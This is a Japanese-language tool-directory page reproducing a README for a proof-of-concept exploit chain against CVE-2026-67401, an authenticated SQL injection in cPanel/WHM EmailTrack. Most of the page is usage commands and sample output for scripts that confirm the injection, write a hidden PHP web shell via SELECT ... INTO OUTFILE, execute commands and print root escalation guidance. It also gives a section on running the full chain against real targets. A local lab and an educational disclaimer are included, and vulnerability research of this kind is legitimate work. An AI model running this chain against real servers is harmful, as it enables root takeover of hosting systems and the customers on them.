Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/hitechcloud-vietnam/cve-2026-67401
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペイロード開発ラボと実践
GitHubhitechcloud-vietnam/cve-2026-67401

CVE-2026-67401

CVE-2026-67401の概念実証とエクスプロイトチェーン。cPanel/WHMのEmailTrackにおけるSQLインジェクションで、任意のファイル書き込みとroot権限でのRCEを可能にし、SQLi検出とローカルラボを備えています。

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-67401 — cPanel/WHM EmailTrack SQLインジェクション → root RCE

CVE Severity Platform Python

CVE-2026-67401 の概念実証(PoC)です。これは cPanel & WHM の EmailTrack 機能における重大な SQL インジェクション脆弱性であり、メール関連の権限を持つ認証済みユーザーが任意のファイルを書き込み、root としてコードを実行できるものです。

発見者: HiTechCloud VietNam by Pho Tue SoftWare Solutions JSC 公開日: 2026年10月6日 コンポーネント: EmailTrack(メール配信ログ / トラッキング)


影響を受けるバージョン

修正済みビルド未満のバージョンが脆弱です。

cPanel ビルド系列修正済みバージョン
11.11011.110.0.143
11.13411.134.0.55
11.13611.136.0.39
11.13811.138.0.4
WP2 (11.138)11.138.1.9

バージョンは次のコマンドで確認できます:

cat /usr/local/cpanel/version

エクスプロイトチェーン

┌─────────────┐      ┌────────────┐      ┌─────────┐      ┌──────────┐
│ Auth as     │ ───► │ SQLi in    │ ───► │ INTO    │ ───► │ RCE as   │
│ cPanel user │      │ EmailTrack │      │ OUTFILE │      │ root     │
│ (mail priv) │      │ API call   │      │ (shell) │      │          │
└─────────────┘      └────────────┘      └─────────┘      └──────────┘
  1. 認証 メール権限を持つアカウントで cPanel にログインします。
  2. インジェクション EmailTrack の account パラメータを介して実行します。
  3. 書き込み SELECT ... INTO OUTFILE を使用して PHP ウェブシェルを public_html/ に書き込みます。
  4. 実行 シェルを通じてコマンドを実行します。
  5. 権限昇格 cPanel の SUID バイナリ、cron、またはタスクキューを介して行います。

リポジトリの内容

ファイル説明
poc_sqli.pySQL インジェクション検出: ブールベース、時間ベース、UNION カラム数
poc_full_chain.py完全なエクスプロイトチェーン: SQLi → INTO OUTFILE ウェブシェル → RCE → root ガイダンス
lab/vuln_server.py脆弱な EmailTrack バックエンドのローカルシミュレーション(安全、自己完結型)
README.mdこのドキュメント

同梱のラボでは、実際の cPanel サーバーなしでチェーン全体を実行および検証できます。


要件

  • Python 3.8+
  • サードパーティパッケージは不要 — すべて標準ライブラリを使用します。

使用方法

すべてのコマンドはリポジトリのルートから実行します。

1. ローカルラボの実行

python3 lab/vuln_server.py 18123 lab/htdocs
  • 認証情報: alice / s3cr1t
  • エミュレート対象: UAPI ログイン、脆弱な EmailTrack クエリ、SLEEP()、 INTO OUTFILE、および PHP Web シェルの実行。
  • 引数 1: ポート (デフォルト 18123)
  • 引数 2: ドキュメントルート (デフォルト lab/htdocs)

このプロセスを1つのターミナルで実行したままにし、PoC には2つ目のターミナルを使用します。

2. SQL インジェクションの検出

python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode detect
引数説明
-H, --hostcPanel ホスト(例: https://cp.example.com:2083)
-u, --usernameメール権限を持つ cPanel アカウント
-p, --passwordアカウントのパスワード
--paramインジェクション可能なパラメータ(デフォルト: account)
--modedetect(デフォルト)、boolean、timing、union、または all
--sleepタイミングプローブ用の SLEEP() 時間(デフォルト: 3.0)
--dump-versionUNION 経由で DBMS バージョンの抽出を試みる
--insecureTLS 証明書の検証をスキップする

特定のプローブを実行する:

# UNION column count only
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode union

# Time-based only, 5-second delay
python3 poc_sqli.py -H http://127.0.0.1:18123 -u alice -p 's3cr1t' --mode timing --sleep 5

3. 完全なエクスプロイトチェーン

CPANEL_USER=alice CPANEL_PASS='s3cr1t' \
  python3 poc_full_chain.py http://127.0.0.1:18123 \
  --shell-base http://127.0.0.1:18123
引数 / 環境変数説明
host (位置引数)cPanel ホスト、または環境変数 CPANEL_HOST を設定
CPANEL_USERメール権限を持つ cPanel アカウント
CPANEL_PASSアカウントのパスワード
--shell-basepublic_html を配信するベース URL (Web シェルに到達する場所)
--insecureTLS 証明書の検証をスキップ
--no-escalateRCE 後に停止し、root 権限昇格のガイダンスをスキップ
SHELL_NAME (環境変数)Web シェルのファイル名 (デフォルト: .mail.cache.php)

自動的に実行されるステージ:

  1. cPanel への認証
  2. SQL インジェクションの確認 (ブールベース + 時間ベース)
  3. UNION によるクエリのカラム数の特定
  4. SELECT ... INTO OUTFILE による PHP Web シェルの書き込み
  5. シェル経由でのコマンド実行 (id、whoami、SUID 列挙、…)
  6. root 権限昇格のガイダンスの表示 (SUID whmapi1、cron、タスクキュー)

4. 実際のターゲットに対して

# Detection
python3 poc_sqli.py -H https://cp.example.com:2083 -u user -p 'pass' \
  --insecure --mode detect

# Full chain (--shell-base is the account's web host, not the cPanel port)
CPANEL_USER=user CPANEL_PASS='pass' \
  python3 poc_full_chain.py https://cp.example.com:2083 \
  --shell-base https://cp.example.com --insecure

注: デフォルトの --shell-base は、ホストから cPanel 専用ポート(2082/2083)を 削除します。ドキュメントルートが別のポートで提供されている場合は、 明示的に設定してください。


検証済みの結果

同梱のラボに対して生成された出力:

  CVE-2026-67401  cPanel/WHM EmailTrack SQLi -> File Write -> RCE
  version 1.0

  target: http://127.0.0.1:18123
  user:   alice
  [+] authenticated
  [1] confirming SQL injection in EmailTrack `account`
  [+] boolean-based SQLi CONFIRMED
  [+] time-based SQLi CONFIRMED (SLEEP(2) -> 6.0s)
  [2] determining column count via UNION
  [+] target query has 5 columns
  [3] writing PHP web shell via SELECT ... INTO OUTFILE
  [+] shell written -> /home/alice/public_html/.mail.cache.php
  [4] executing commands through the web shell
  [+] id -> uid=1000(x) gid=1000(x) ...

参考文献

  • 重大なcPanel SQLインジェクションにより攻撃者がrootアクセスを取得可能に — The Daily Tech Feed
  • cPanel セキュリティアドバイザリ: CVE-2026-67401
  • CWE-89: SQLコマンドで使用される特殊要素の不適切な中和

ライセンス

教育および許可されたセキュリティ研究目的で公開されています。 使用前に免責事項をご覧ください。

ツールをダウンロード